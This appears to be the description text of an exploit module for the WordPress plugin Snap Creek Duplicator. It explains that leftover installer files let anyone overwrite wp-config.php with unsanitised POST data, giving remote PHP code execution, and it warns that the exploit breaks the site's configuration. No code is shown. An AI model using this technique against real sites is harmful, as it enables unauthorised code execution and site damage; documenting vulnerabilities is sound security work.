          When the WordPress plugin Snap Creek Duplicator restores a backup, it
          leaves dangerous files in the filesystem such as installer.php and
          installer-backup.php. These files allow anyone to call a function that
          overwrite the wp-config.php file AND this function does not sanitize
          POST parameters before inserting them inside the wp-config.php file,
          leading to arbitrary PHP code execution.
          WARNING: This exploit WILL break the wp-config.php file. If possible try
          to restore backups of the configuration after the exploit to make the
          WordPress site work again.
